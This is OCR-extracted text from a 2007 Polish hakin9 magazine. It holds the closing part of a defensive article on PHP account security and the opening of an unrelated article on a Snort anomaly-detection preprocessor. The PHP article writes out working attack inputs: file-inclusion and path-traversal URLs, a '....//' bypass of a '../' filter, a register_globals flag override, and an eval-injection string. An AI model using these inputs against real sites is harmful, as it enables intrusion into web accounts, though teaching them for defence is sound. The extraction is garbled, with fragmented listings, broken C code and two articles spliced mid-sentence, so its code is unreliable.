Jako pierwsze omówimy funkcje

wstawiające w miejsce, w którym są
wywoływane zawartość innego pliku
(który może być, ale nie musi, skryp-
tem PHP) czyli

include

require

, i

clude _ once

require _ once

. Różnica

między include, a require polega na
tym, że w przypadku błędu require
zakończy wykonanie skryptu, pod-
czas gdy include wypisze ostrzeże-
nie i wykonanie skryptu będzie kon-
tynuowane.

Suffix _ once

gwarantu-

je, że pliki załączone będą tylko raz.
Spójrzmy w takim razie na Listing 14,
na którym przedstawiona jest pierw-
sza niebezpieczna sytuacja.

Skrypt badninclude.php nie ro-

bi nic wielkiego, pobiera nazwę
skórki ze zmiennej

$ _ GET['skin']

i załącza odpowiedni plik, z kata-
logu danej skórki. Jeżeli podamy
nazwę nieistniejącej skórki (http:

//serwer/badinclude.php?skin=niei

stniejacaskorka), zostanie wyświe-
tlone mniej więcej takie ostrzeże-
nie, jak w Listingu 24.

Haker może bardzo szybko wy-

korzystać taki błąd nawet, jeśli nie
posiada konta na serwerze ofiary.
Na innym serwerze tworzy on plik
tekstowy o nazwie blah.txt i zawarto-
ści jak na listingu 15.

Jak widzimy, jest to skrypt PHP

kolorujący swoje źródło, a następ-
nie wyświetlający informacje o PHP

funkcją phpinfo. Teraz podając ja-
ko skórkę adres www do tego pli-
ku zakończony znakiem zapytania
- co spowoduje, że reszta linijki bę-
dzie traktowana jako zmienne me-
tody GET dla rzekomego skryptu
- haker uruchomi kod PHP zawarty
w podanym pliku. Widać to na zrzu-
cie ekranu przedstawionym na Ry-
sunku 1.

Istnieją trzy okoliczności wy-

kluczające załączanie plików znaj-
dujących się na zdalnym ser-
werze. Pierwszą z nich jest
ustawiona opcja allow_url_fo-

pen na off w php.ini, która po-
zwala załączać jedynie pliki
lokalne, druga, to sytuacja, kie-
dy nie możemy zmienić początku

Listing 23.

Wynik zadania z Listingu 11

pierwszy dostep

katalogu cash...

Array

(

[

]

cash/1

[

]

cash/cash

[

]

cash/symlinks.php

[

]

cash/

tango

)

drugi dostep

katalogu cash...

Warning: glob

()

[

function

.glob

]

: open_basedir restriction in effect.

File

(

cash/bin

)

is not within the allowed path

(

)

(

/tmp:/home/users/haker

)

in /home/users/haker/public_

html/tmp/symlinks.php on line 17

Listing 24.

Ostrzeżenie po podaniu nazwy nieistniejącej skórki

Warning:

include

(

nieistrniejacaskorka_skin/main.inc

)

[

function

include

]

failed to open stream: No such

file

directory in /

home/users/mieciu/public_html/badinclude.php on line 3

Warning:

include

()

[

function

include

]

: Failed opening

'nieistrniejacaskorka_

skin/main.inc'

for

inclusion

(

include_path=

'.:/usr/

share/php:/usr/share/pear'

)

in /home/users/mieciu/

public_html/badinclude.php on line 3

Listing 25.

Dyrektywa register_globals włączona

Notice: Undefined variable: modules_dir in
/home/users/mieciu/public_
html/news/modules/main/main.php on line 11

Notice: Undefined variable:
lang in /home/users/mieciu/public_
html/news/modules/main/main.php on line 11

Warning:

include

(

/main/-welcome.txt

)

[

function

include

]

: failed to open stream:

No such

file

directory in

/home/users/mieciu/public_
html/news/modules/main/main.php on line 11

Warning:

include

()

[

function

include

]

Failed opening

'/main/-welcome.txt'

for

inclusion

(

include_path=

'.:/usr/share/php

:/usr/share/pear'

)

in /home/users/mieciu/public_

html/news/modules/main/main.php on line 11

hakin9 Nr 3/2007

www.hakin9.org

Obrona

załączanego pliku, trzecia zaś to
sprawdzanie czy plik do wstawie-
nia istnieje. Dwa ostatnie przypadki
przedstawia Listing 16.

W przedstawionym przypadku

nie zostanie wyświetlony błąd o
nieistniejącym pliku, choć w wie-
lu skryptach taka informacja jest
podawana. Istnieje jednak du-
że prawdopodobieństwo, że jest
to ogólnodostępny skrypt i jeże-
li nie ma jego nazwy w stopce
lub źródle, jest wielce prawdopo-
dobne, że wpisując w wyszuki-
warkach stron www kilka powta-
rzających się fraz na stronie, je-
steśmy w stanie określić jaki to
skrypt i gdzie znaleźć jego źródła,
którym możemy się przyjrzeć. Je-
żeli nie, możemy poprosić wprost
naszego doktora Mieczysława o
informacje jakiego to świetnego
skryptu używa, czy sam go napi-
sał i czy można pozyskać jego ko-
pię. A mając jego kopię, dokład-
nie widać, w czym problem. Haker
natychmiastowo tworzy więc plik
/tmp/main.inc na tym samym ser-
werze, na którym konto ma dok-
tor Mieczysław, o identycznej za-
wartości jak blah.txt z Listingu 14,
po czym wchodzi na adres http:

//serwer/badinclude1.php?skin=../

../../../../tmp. Zmienna $skin w dru-
giej linijce skryptu ma wtedy war-
tość skins/../../../../../tmp/main.inc,
a więc prowadzi prosto do stwo-
rzonego wcześniej pliku /tmp/
main.inc, co skutkuje podobnym
efektem, jaki obserwowaliśmy na
poprzednim rysunku.

A co z register_globals?

Jeżeli dyrektywa z php.ini o nazwie
register_globals zostanie ustawio-
na na on oznacza to, że wszystkie
zmienne przekazywane do skryp-
tu są dostępne w postaci $na-
zwa_zmiennej i nie trzeba do ich
dostępu używać tablic globalnych
typu

$ _ GET['nazwa _ zmiennej']

$ _ POST['nazwa _ zmiennej'],

$ _

SESSION['nazwa _ zmiennej']

i tak

dalej. Z jednej strony może się wy-
dawać to wygodne, z drugiej jed-
nak nie bez powodu developerzy
PHP w wersji 4.2.0 ustawili do-

myślnie tę dyrektywę wyłączoną.
Jej deaktywacja powoduje jed-
nak masę problemów ze starszy-
mi skryptami, więc najczęściej ad-
ministratorzy pozostawiają ją włą-
czoną. Rozpatrzmy dość często
stosowany szablon aplikacji PHP.
W katalogu głównym, nazwijmy go
news, znajduje się plik index.php
(Listing 16). Na wstępie załącza
plik z tego samego katalogu ze
zmiennymi konfiguracyjnymi o na-
zwie conf.php (Listing 17). Potem
sprawdza czy istnieją odpowiednie
katalogi ze skórkami i z modułami,
jeżeli nie, przerywa swoje działa-
nie. W kolejnym kroku sprawdza
nazwę modułu, do którego chce
wejść użytkownik w odpowied-
nim bloku switch, a więc użytkow-
nik nie ma szans przemycić tutaj
ścieżki do swojego pliku. Jeżeli
moduł zaproponowany przez użyt-
kownika istnieje, załączany jest
on z katalogu modules/nazwa_

modułu/main.php, jeżeli nie, na-
zwą modułu jest moduł domyślny
main. Wszystko zrobione jak nale-
ży. Przykładowy plik do załączenia
modules/main/main.php przedsta-
wiony jest na Listingu 18. W pierw-
szych linijkach tego pliku spraw-
dzane jest czy zmienna

$configured

jest ustawiona na 1, co oznacza,
że został załączony plik konfigu-
racyjny z Listingu 17. Jeżeli zatem
haker poda w przeglądarce adres

http://serwer/news/modules/main/

main.php, skrypt wyświetli mu po-
niższy komunikat i zakończy dzia-
łanie:

Nie możesz wchodzić do tego pli-

ku bezpośrednio!

W sytuacji, kiedy dyrektywa regi-

ster_globals jest włączona, wystar-
czy natomiast, że haker jako adres
wpisze http://serwer/news/modules/

main/main.php?configured=1, a w
przeglądarce ujrzy mniej więcej to,
co możemy zobaczyć na Listin-
gu 25.

zFunkcja eval

Eval to „magiczna” funkcja, któ-
ra tekst zawarty jako jej argument
traktuje jako kod PHP. I tak na
przykład można napisać bardzo

szybko efektowny kalkulator, któ-
ry będzie umiał wyliczyć wszyst-
ko to, co potrafi wyliczyć sam ję-
zyk PHP, kalkulator taki przedsta-
wia Listing 17.

Pierwsze linijki skryptu eval-

calc.php

usuwają

potencjalne

znaki \ przekazane przez formu-
larz, ostatnie tworzą sam formu-
larz. Sercem kalkulatora jest linij-
ka eval("\$result = $expr;");, któ-
ra dzięki funkcji eval, przypisu-
je zmiennej $result wynik wyra-
żenia podanego przez użytkowni-
ka. I tak podając mało ciekawe wy-
rażenie w stylu 2+2*2<<2 skrypt
odpowie nam: Wynik wyrażenia
2+2*2<<2 to 24. Niby nic wielkiego,
można się jednak pokusić o zde-
cydowanie ciekawsze wyrażenie,
na przykład

2+2*2<<2;highlight _

f i l e ( $ _ S E R V E R [ " S C R I P T _
FILENAME"]).

Jakkolwiek wynik wy-

rażenia otrzymany w zmiennej $re-
sult będzie identyczny z tym po-
przednim, dostaniemy jeszcze ma-
ły bonus w postaci pokolorowane-
go źródła kalkulatora (co widać na
rysunku 2) – czyli to, o co de facto
poprosiliśmy pisząc po średniku za
pierwotnym wyrażeniem. Tak wła-
śnie działa eval.

Backdoor PHP czy

kiepski programista?

Jak widać istnieje wiele niebez-
piecznych sytuacji, pozwalają-
cych hakerom na działania, któ-
rych nie powinni być w stanie do-
konać. Zdecydowana większość
osób posiadających swoje witryny
używa gotowych skryptów, pisa-
nych przez nieznane osoby. Skąd
pewność, że to bezpieczne apli-
kacje webowe, a nie tylne drzwi
do kont użytkowników, którzy ich
używają? Co jakiś czas odkrywa-
ne są nowe luki i niedociągnięcia
w popularnych skryptach PHP. Ale

W Sieci

• http://www.php.net/ – strona domo-

wa skryptowego języka PHP

• http://www.apache.org/ – strona

domowa serwera www Apache

Bezpieczieńczstwo kont PHP

czy to na pewno niedociągnięcia,
a nie celowe działania ich twór-
ców? Zauważmy, że w przypad-
ku, gdy wszystkie omówione wyżej
metody zawiodą hakera w dostę-
pie do bazy danych doktora Mie-
czysława, może on przygotować
jakiś bardzo ładny skrypt odpowia-
dający idealnie profilowi doktora,
z ładną grafiką, z ładnie prezen-
tującą go stroną główną, z ładnie
przygotowanymi rzekomymi ko-
mentarzami zadowolonych użyt-
kowników i zupełnie przypadkowo
podrzucić go wykładowcy – czy to
wysyłając maila, czy to porusza-
jąc temat wspaniałej strony dokto-
ra na jednym z jego wykładów, czy
to wykorzystując do tego celu jesz-
cze inne sztuczki lub osoby będą-
ce bliżej potencjalnej ofiary. Oczy-
wiście pan Mieczysław nie bez po-
wodu ma tytuł doktora, więc ów
skrypt będzie co najmniej musiał
zawierać iluzję zabezpieczeń. Kil-
ka takich iluzji zabezpieczeń moż-
na zauważyć analizując przedsta-
wione wcześniej listingi, kolejną
może być sytuacja przedstawio-
na w skrypcie na Listingu 18, któ-
ry jest lekką modyfikacją wcze-
śniej pokazanego skryptu badinc-

lude1.php.

Faktycznie, linijka

$skin

str _ replace("../", "", $skin);

powoduje, że wszystkie wystą-
pienia ciągu znaków ../ zostaną
usunięte i tak podając w adresie

illusion.php?skin=../../../../../tmp

zmienna $skin będzie zawierać
ścieżkę skins/tmp/main.inc – haker
nie wyjdzie więc poza dany kata-
log. W ten sposób celu nie uda się
osiągnąć. Zwróćmy jednak uwagę,
że usuwane są znaki w konfigura-
cji ../, a .. lub samo / już nie. Dla-
tego wystarczy, że haker rozdzie-
li ../ czymś, co zostanie usunięte
(czyli też ../), a uzyska to, co so-
bie zamierzył. Podając więc do
adresu następujący ciąg znaków:

illusion.php?skin=....//....//....//..../

/....//tmp, zostaną usunięte znaki
przedstawione na czerwono, po-
zostawiając w zmiennej $skin war-
tość skins/../../../../../tmp/main.inc,
a więc faktycznie to była iluzja za-
bezpieczenia, a nie realne zabez-
pieczenie.

Podsumowanie

Jak widać z powyższych rozwa-
żań, umieszczanie swojej witry-
ny WWW w Internecie nie mo-
że się sprowadzać tylko do ścią-
gnięcia najnowszej wersji używa-

nego skryptu, umieszczenia go
na serwerze i szybkiej konfigura-
cji. Należy sprawdzić zabezpie-
czenia serwera, i w razie, gdy ma-
my dostęp do plików innych użyt-
kowników, należy to natychmiast
zgłosić administratorowi, ponie-
waż tym samym każdy inny użyt-
kownik tego serwera może czytać
nasze pliki z hasłami, czy prywat-
nymi informacjami. Należy też się
dobrze przyjrzeć wykorzystywa-
nym w serwisie skryptom PHP, za-
równo własnym, jak i innym, nawet
tym ze sprawdzonych źródeł. Je-
żeli nie mamy czasu na czytanie
linijka po linijce setek linii całego
kodu, należy przynajmniej odna-
leźć te, które są kluczowe dla bez-
pieczeństwa całego konta, poten-
cjalnie niebezpieczne funkcje, któ-
re zostały przedstawione w tym
artykule oraz generalnie wszyst-
kie inne operujące na plikach,
czyli

include/require

, eval, sys-

tem, exec,

passthru, proc _ open

higlight _ file

, readfile, file, fi-

le_get_contents, fopen i tak da-
lej. Ktoś przecież może mieć wo-
bec Ciebie takie zamiary jak nasz
haker wobec szanownego doktora
Mieczysława, wyprzedź go więc o
krok i bądź przygotowany. l

www.hakin9.org

hakin9 Nr 3/2007

Obrona

pisany poniżej projekt AnomalyDetec-
tion jest próbą włączenia się w ten nurt
poprzez przygotowanie prostego pre-

procesora Snorta mierzącego ruch sieciowy i
generującego ostrzeżenia, jeśli jego natężenie
odbiega znacznie od typowego natężenia noto-
wanego w sieci o tej porze dnia.

Nieco zastrzeżeń

Detekcja anomalii to pojęcie bardzo szerokie.
Można – w systemach host-based IDS (HIDS)
– wykrywać nietypowe zachowania się urzą-
dzeń (na przykład dużą ilość danych odczyty-
wanych z dysku twardego), w systemach sie-
ciowych (network IDS, NIDS) próbować znaj-
dować koincydencje pomiędzy „podejrzanymi”
pakietami a atakami sieciowymi, czy wresz-
cie analizować ruch sieciowy poszukując nie-
typowego zachowania się poszczególnych ma-
szyn. To ostatnie podejście nazywane jest cza-
sem Traffic Anomaly Detection i właśnie na nim
opiera się przedstawione w artykule rozwiąza-
nie.

Detekcja anomalii wydaje się być metodą

bardzo obiecującą, wykrywanie ataku nie jest
w niej bowiem uzależnione od znajomości
konkretnej sygnatury. Jak dobrze wiadomo

liczba i zróżnicowanie rozmaitych eksploitów,
wirusów, robaków, rootkitów i innych złośli-
wych programów jest na tyle duża, że uak-
tualnianie w rozsądnym czasie baz sygnatur
jest bardzo trudne. Na dodatek nie wszystkie
ataki muszą być prowadzone metodami czy-
sto „informatycznymi”. Najprostszym przy-
padkiem jest sytuacja, w której komuś udało
się na przykład odgadnąć albo ukraść hasło
administratora routera i skierować kopię ru-
chu wychodzącego z sieci do własnego anali-
zatora. Oczywiście zdarzenia takiego nie wy-
kryje, ani nie zapobiegnie mu system opar-
ty na sygnaturach (no chyba, że – co w za-

Detekcja anomalii

ruchu sieciowego

w programie Snort

Maciej Skowroński, Radosław Wężyk, Maciej Szmit

stopień trudności

O detekcji anomalii napisano całkiem sporo. Na przykład Google

znajduje bez większego trudu ponad milion stron poświęconych

temu zagadnieniu. Co jakiś czas pojawiają się też prace

poświęcone zastosowaniu do detekcji anomalii najdziwniejszych

technik i algorytmów poczynając od metod statystycznych a

kończąc na rozmaitych technikach sztucznej inteligencji.

Z artykułu dowiesz się...

• informacji o preprocesorach do Snorta bazują-

cych na detekcji anomalii,

Co powinieneś wiedzieć...

• podstawy komunikacji sieciowej TCP/IP
• podstawowe pojęcia dotyczące wykrywania in-

truzów

• znajomość jęzayka C++

Detekcja anomalii ruchu sieciowego w programie Snort

hakin9 Nr 3/2007

www.hakin9.org

sadzie byłoby niezłym pomysłem
– zabroniliśmy zdalnego logowania
na router brzegowy i nakazaliśmy
informować o takich próbach), na-
tomiast prowadzona dowolną me-
todą analiza ruchu powinna zdecy-
dowanie zasygnalizować podwoje-

nie natężenia ruchu wychodzące-
go. Z drugiej strony detekcja ano-
malii nie może być uważana za pa-
naceum na ataki sieciowe. Przesła-
nie jednego pakietu (a tyle wystar-
czy niektórym robakom) czy za-
szyfrowanej wiadomości pomiędzy
masterem a zombi sieci DDoS mo-
że pozostać niezauważone zarów-
no przez system detekcji sygnatu-
rowej jak i detekcji anomalii.

Trochę statystyki

Aby móc mówić o anomaliach na-
leży przede wszystkim zecydować
się, co uznajemy za normalny ruch
sieciowy. Oczywiście charaktery-
styka każdej sieci będzie wyglą-
dała inaczej, koniecznym jest więc
zaimplementowanie metod pozwa-
lających na nauczenie systemu
charakterystyki sieci, w której bę-
dzie pracował. Na obecnym eta-
pie rozwoju opisywanego progra-
mu zostały do tego wykorzystane
proste mierniki statystyczne (śred-
nie natężenie ruchu określonego
typu oraz odchylenie standardowe,
rzecz jasna liczone osobno dla róż-
nych pór doby).

Pierwszym etapem tworzenia

systemu była implementacja apli-
kacji współpracującej z systemem
Snort, której zadaniem miało być
zapisywanie do pliku określonych
parametrów ruchu przechwycone-
go przez Snorta. Po przejrzeniu
dokumentacji Snorta (bardzo ską-
pej) i przeanalizowaniu jego ko-

du źródłowego zaimplementowa-
ny został preprocesor zapisujący
parametry przechwyconego ruchu
do pliku w określonych interwałach
czasowych. Struktura pliku została
dobrana tak, aby łatwo można było
go zaimportować do Excela w ce-
lu dalszej analizy zapisanych para-
metrów.

Eksperymentalnie program uru-

chomiony został w osiedlowej sie-
ci komputerowej w celu analizy za-
leżności i powtarzalności monitoro-
wanych zjawisk. Można się spodzie-
wać, że charakterystyka ruchu bę-
dzie inna w przypadku sieci osiedlo-
wej, inna w sieci biurowej, a jeszcze
inna w sieci w firmie zajmującej się
hostingiem. Analiza zebranych da-
nych pokazała, istnienie podwójnej
okresowości (dobowej i tygodnio-
wej). Można spodziewać się także,
że w sieci wystąpi okresowość rocz-
na, jakkolwiek analizowane szeregi
były zbyt krótkie by to wykazać.

Na wykresie 1. widoczna jest

okresowość dobowa. Można zauwa-
żyć określone wartości liczby pa-
kietów w odpowiednich godzinach
w czasie doby. Widoczne jest rów-
nież wzmożenie ruchu w weekend
(24.06.06-25.06.06).

Napisany preprocesor zapisuje

25 parametrów przechwyconego ru-
chu sieciowego:

• Liczba pakietów TCP,
• Liczba wysłanych pakietów TCP,
• Liczba odebranych pakietów TCP,

Co to jest Snort

Snort http://www.snort.org jest dostep-
nym na licencji GNU systemem detek-
cji włamań (IDS). Na stronach Snorta
można znaleźć jego dystrybucje dla
systemów linux i Windows oraz przygo-
towaną specjalnie dla początkujących
wersję w postaci maszyny wirtualnej
VMWare. Snort umożliwia dołączanie
preprocesorów danych implementują-
cych własne mechanizmy detekcji wła-
mań (jednym z nich jest opisany w ar-
tykule preprocesor Anomaly Detection
http://www.anomalydetection.info), po-
trafi również współpracować z progra-
mami zewnętrznymi, dzięki czemu
można rozszerzać jego funkcjonal-
ność na przykład o system aktywnej
odpowiedzi czy o wizualizację staty-
styk włamań za pomocą stron www.
Systemy wykrywania włamań dzieli
się zazwyczaj na systemy detekcji nad-
użyć (oparte o bazę sygnatur, działają-
ce analogicznie do programów antywi-
rusowych czy zwalczajacych malware)
oraz systemy detekcji anomalii – reagu-
jące na nietypowe zachowania sieci lub
komputera. Snort jest systemem wy-
korzystującym sygnaturową detekcję
nadużyć, jakkolwiek można – dzięki je-
go modularnej budowie – próbować za-
implementowac w nim również mecha-
nizmy detekcji anomalii. Jedną z pierw-
szych prób był eksperymentalny pre-
procesor SPADE (Statistical Packet
Anomaly Detection Engine) pozwala-
jący zgromadzić charakterystyki, pa-
kietów, w tym statystyki ich występo-
wania. O ile nam jednak wiadomo, pro-
jekt ten po skomercjalizowniu jako SPI-
CE nie jest już rozwijany, natomiast je-
go starą wersję (włącznie z kodem
źródłowym) można znaleźć pod ad-
resem http://www.bleedingsnort.com/
cgi-bin/viewcvs.cgi/?cvsroot=SPADE.
Ciekawym pomysłem jest rów-
nież projekt Snort+AI wykoprzy-
stujący sztuczne sieci neurono-
we do wykrywania skanowania
portów http://afrodita.unicauca.edu.co/
%7Eaarboleda/snort_ai.htm

Rysunek 1.

Wykres 1

hakin9 Nr 3/2007

www.hakin9.org

Obrona

• Liczba pakietów TCP wewnątrz

sieci LAN,

• Liczba datagramów UDP,
• Liczba wysłanych datagramów

UDP,

• Liczba odebranych datagramów

UDP,

• Liczba datagramów UDP we-

wnątrz sieci LAN,

• Liczba pakietów ICMP,
• Liczba

wysłanych

pakietów

ICMP,

• Liczba odebranych pakietów ICMP,
• Liczba pakietów ICMP wewnątrz

sieci LAN,

• Liczba pakietów z włączonymi

flagami SYN i ACK,

• Liczba wysłanych pakietów port

80 (usługa WWW),

• Liczba odebranych pakietów port

80 (usługa WWW),

• Liczba wysłanych pakietów port

53 (usługa DNS),

• Liczba odebranych pakietów port

53 (usługa DNS),

• Prędkość wysyłania danych w

kB/s (TCP/IP),

• Prędkość ściągania danych w

kB/s (TCP/IP),

• Prędkość wysyłania danych port

80 w kB/s (TCP/IP, WWW),

• Prędkość ściągania danych port

80 w kB/s (TCP/IP, WWW),

• Prędkość wysyłania danych w

kB/s (UDP),

• Prędkość ściągania danych w

kB/s (UDP),

• Prędkość wysyłania danych port

53 w kB/s (UDP, DNS),

• Prędkość ściągania danych port

53 w kB/s (UDP, DNS).

Domyslnie system zapisuje logi co
600sekund (interwał ten może oczy-
wiście być zmieniony przez użytkow-
nika). Po pewnym czasie (im dłuż-
szym tym lepiej) można spróbo-
wać wygenerować profil sieci, czy-
li charakterystykę, która informuje
na przykład o tym, jakie jest śred-
nie natężenie (i odchylenie standar-
dowe) ruchu wychodzącego na port
53 UDP w poniedziałki o godzinie
12:05.

Profil sieci generowany jest za

pomocą osobnej aplikacji o nazwie
ProfileGenerator. Program ten wczy-
tuje plik z logami zebranymi przez
preprocesor i na ich podstawie ge-
neruje plik profilu. Zapisywany jest
on w katalogu /etc pod nazwą pro-
file.txt. W pliku profilu określone są
wartość średnia i odchylenie stan-
dardowe każdego z analizowanych
typów ruchu dla każdego dnia tygo-
dnia i godziny.

W zasadzie powinniśmy poddać

zebrane dane szeregowi testów sta-
tystycznych, żeby sprawdzić jakie-
mu rozkładowi podlegają, jednak na
tym etapie wykorzystaliśmy po pro-
stu średnią i odchylenie standardo-
we. Za anomalię system uzna natę-
żenie ruchu odbiegające od średniej
o więcej niż m odchyleń standardo-
wych:

Gdzie:

- aktualna wartość natężenia

ruchu danego typu,

- wartość średnia ruchu (obli-

czona dla danych historycznych),

m – mnożnik,
- odchylenie standardowe odczy-

tane z profilu (obliczone dla danych
historycznych).

System sprawdza czy aktual-

nie zmierzona wartość ruchu znaj-

Rysunek 2.

Wykres 2

Rysunek 3.

Schemat ideowy systemu. Elementy zaznaczone na niebiesko

są częściami systemu AnomalyDetection.

Zapis logów

Odczyt profilu

Odczyt logów

Preprocesor

AnomalyDetection

Preprocesory

Akwizycja

danych

Dekoder

Pakietów

Silnik

Detekcji

Pluginy

wyjściowe

Logi

Profil sieci

Generator profilu

sieci

Detekcja anomalii ruchu sieciowego w programie Snort

hakin9 Nr 3/2007

www.hakin9.org

duje się w przedziale ograniczo-
nym przez wartość średnią, do któ-
rej została dodana wartość odchy-
lenia standardowego pomnożona
przez ustaloną przez użytkowni-
ka wartość mnożnika, oraz warto-
ścią średnią, od której została od-
jęta wartość odchylenia standardo-
wego pomnożona przez ustaloną
przez użytkownika wartość mnoż-
nika. Jeśli zmierzona wartość nie
znajduje się w tym przedziale, ge-
nerowany jest alert o odpowied-
niej treści (ruch za duży lub za
mały oraz typ ruchu). Oczywiście
wartość mnożnika m ustala admi-
nistrator programu. Sprawdzaniu
podlegają:

• Ruch TCP,
• Ruch ICMP,
• Ruch UDP,
• Ruch WWW,
• Ruch DNS,
• Liczba otwartych połączeń,
• Prędkość wysyłania danych,
• Prędkość odbierania danych.

Na kolejnym wykresie przedsta-
wiono statystykę ruchu TCP wraz
z miejscami, w których wygenero-
wane zostały alerty. Linią przery-
waną zaznaczona jest granica wy-
znaczona przez dodanie i odję-
cie od wartości średniej odchyle-
nia standardowego pomnożone-
go przez 2,5. Na większości wy-
kresów widać ją tylko ponad da-
nymi, które są zaznaczone na żół-
to. Jest to spowodowane tym, że
gdy wartość graniczna schodzi-
ła poniżej zera jej wartość usta-
wiana była na zero (pojęcie ujem-
nego natężenia ruchu sieciowego
nie ma sensu fizycznego). Czer-
wone krzyżyki oznaczają sytu-
acje, w których wygenerowany zo-
stał alert.

Parę szczegółów

System składa się z dwóch napi-
sanych przez nas programów. Jed-
nym z nich jest preprocesor reali-
zujący zapisywanie parametrów ru-
chu przechwyconego przez Snorta
w określonych odcinkach czasu oraz
porównywanie parametrów aktual-

nie przechwyconego ruchu z profi-
lem, drugim programem jest gene-
rator profili.

Przepływ danych w systemie ob-

razuje schemat ideowy systemu (Ry-
sunek 3.).

Listing 1.

Struktura pliku nagłówkowego

#ifndef __SPP_PREPROCESOR_H__

#define __SPP_PREPROCESOR_H__

void

SetupPreprocesor

(

void

);

typedef

struct

_PreprocStruct

{

int

;

char

string

;

}

PreprocStruct

;

int

PreprocCounter

;

void

mySecondFunction

(

char

str

);

extern

PreprocStruct

mySecondStruct

;

endif

Listing 2.

Struktura pliku spp_template.c jest następująca:

#include

include

"plugbase.h

3 #include "

decode

4 #include "

spp_preprocesor

”

void

PreprocesorInit

(

u_char

args

);

void

PreprocesorFunc

();

void

PreprocesorCleanExitFunction

();

void

PreprocesorRestartFunction

();

void

SetupPreprocesor

(

void

)

{

printf

(

"Rejestruje preprocesor...

);

RegisterPreprocessor

(

"preprocesor"

PreprocesorInit

);

}

static

void

PreprocesorInit

(

u_char

args

)

{

ParsePreprocesorArgs

((

char

args

);

AddFuncToPreprocList

(

PreprocesorFunc

);

AddFuncToCleanExitList

(

PreprocesorCleanExitFunction

NULL

);

AddFuncToRestartList

(

PreprocesorRestartFunction

NULL

);

}

void

PreprocesorFunc

(

Packet

)

{

printf

(

"Przyszedl pakiet

);

}

void

PreprocesorRestart

Function

()

{

}

void

PreprocesorCleanExit

Function

()

{

}

hakin9 Nr 3/2007

www.hakin9.org

Obrona

Preprocesory

Preprocesory są to dołączalne mo-
duły programu Snort. W przepływie
danych znajdują się one przed sil-
nikiem detekcji wykorzystującym re-
guły i są wywoływane w momen-
cie nadejścia pakietu. Snort jest
napisany w języku C, zatem pre-
procesory pisane są również za-
zwyczaj w C. Informacje na te-
mat preprocesorów dołączonych
do programu Snort znaleźć można
pod adresem: http://www.snort.org/

docs/snort_htmanuals/htmanual_

2.4/node11.html

Preprocesor powinno się pisać

w momencie, gdy nie jesteśmy w
stanie osiągnąć pewnej funkcjo-
nalności systemu poprzez napisa-
nie reguły. Ważne jest aby prepro-
cessor działał z rozsądną prędko-
ścią. Napisanie zbyt skomplikowa-
nego obliczeniowo preprocesora
(bardzo istotna jest optymalizacja
kodu) lub zbyt dużej ich liczby mo-
że spowodować ogólny spadek wy-
dajności systemu.

Autorzy programu dołączyli do

źródeł Snorta szablony preproce-
sora. Można je znaleźć w katalogu

$SNORT _ DIR/templates

. Są to dwa

pliki:

spp_template.h,
spp_template.c.

Instrukcje w liniach 1-3 są wymaga-
ne – pierwsze dwie to instrukcje ste-
rujące dla kompilatora, a trzecia to
prototyp funkcji rejestrującej bieżący
preprocesor przy inicjalizacji prepro-
cesorów przez Snorta. Pozostałe de-
klaracje są opcjonalne i mają sens w
przypadku, gdy zmienne będą uży-
wane przez kilka preprocesorów.

Pierwsze cztery instrukcje dołą-

czają niezbędne pliki nagłówkowe.
Kolejne instrukcje deklarują prototy-
py kolejno:

• Funkcji inicjalizującej preproce-

sor

• Funkcji głównej preprocesora
• Funkcji wywoływanej przy wy-

chodzeniu z programu

• Funkcji wywoływanej przy restar-

cie aplikacji

W liniach 9-12 zdefiniowana jest
funkcja rejestrująca preprocesor w
Snorcie (prototyp funkcji Register-
Preprocessor() znajduje się w pliku
plugbase.h, jej argumenty to nazwa
preprocesora z pliku konfiguracyjne-
go oraz funkcja inicjalizująca). Kolej-
ne 6 linii to definicja funkcji inicjalizu-
jącej preprocesor. W ciele tej funkcji
znajdują się kolejno:

-funkcja analizująca argumenty z

pliku konfiguracyjnego;

-funkcja dodająca funkcję głów-

ną preprocesora do listy preproce-
sorów Snorta;

-funkcja rejestrująca funkcję wy-

woływaną przy zamykaniu aplikacji
przez ctrl+c;

-funkcja rejestrująca funkcję wy-

woływaną przy restartowaniu apli-
kacji.

Od linii 19 znajdują się definicje

funkcji głównej preprocesora wy-
woływanej przez Snorta w momen-
cie przechwycenia pakietu oraz de-
finicje funkcji wywoływanych przy
zamykaniu i restartowaniu aplika-
cji. Te trzy funkcje budują (mery-
toryczną) funkcjonalność prepro-
cesora.

Po napisaniu, pliki źródłowe oraz

nagłówkowe preprocesora należy
skopiować do katalogu

$SNORT _ DIR/

src/preprocessors

. Aby dodać pre-

procesor do systemu Snort nale-
ży przed kompilacją całego syste-
mu kolejno:

1. Wyedytować plik

$SNORT _ DIR/

src/plugbase.c:

dodać pliki nagłówkowe naszego

preprocesora :

#include

“preprocessors/spp _

nowy.h”

//przykladowa nazwa pre-

procesora

dodać do ciała funkcji InitPrepro-

cessors() funkcję rejestrującą pre-
procesor

2. Wyedytować plik $SNORT_

DIR/src/preprocessors/Makefile
(jeśli już został wygenerowany)
lub

$SNORT _ DIR/src/preprocessors/

Makefile.in

(jeśli jeszcze nie zo-

stał wygenerowany przez polecenie
./configure) i dodać:

W sekcji l

ibspp _ a _ SOURCES =

spp _ arpspoof.c spp _ arpspoof.h (…)
spp _ spp _ nowy.c spp _ spp _ nowy.h

//spp _ nowy.*

są to przykładowe na-

zwy preprocesora

W sekcji

am _ libspp _ a _ OBJECTS

= (…)str _ search.$(OBJEXT) spp _
spp _ nowy.$(OBJEXT)

Należy skompilować (lub prze-

kompilować) Snorta za pomocą po-
lecenia: make, następnie zainstalo-
wać poleceniem: make install.

Po kompilacji należy dopisać do

pliku konfiguracyjnego Snorta, któ-
ry znajduje się domyślnie w

etc/

snort.conf

, w sekcji preprocesorów

stworzony przez nas preprocesor:

preprocessor nazwa_preprocesora:

argumenty.

Jeśli wszystko poszło zgodnie z

planem pozostaje tylko cieszyć się
nową funkcjonalnością.

Przedstawiony projekt jest

oczywiście jeszcze na bardzo
wczesnym etapie rozwoju. Warto
zastanowić się na przykład nad tym
czy system powinien mieć możli-
wość automatycznego uczenia się,
zmian profilu sieci (można to zreali-
zować choćby przez cykliczne wy-
woływanie generatora profili połą-
czone z usuwaniem informacji o
najstarszych historycznych warto-
ściach ruchu). Takie metody sto-
suje się zazwyczaj w tego typu
rozwiązaniach, żeby uniknąć nad-
miaru fałszywych alertów typu fal-
se positive. W takich przypadkach
atakujący może jednak przyuczyć
system do nierozpoznawania jego
aktywności powoli oswajając go ze
zmianami profilu. Innymi elementa-
mi, które planujemy w ramach roz-
wijania systemu są: tworzenie pro-
filu dla każdego hosta w sieci, ana-
liza i rozpoznanie rozkładów staty-
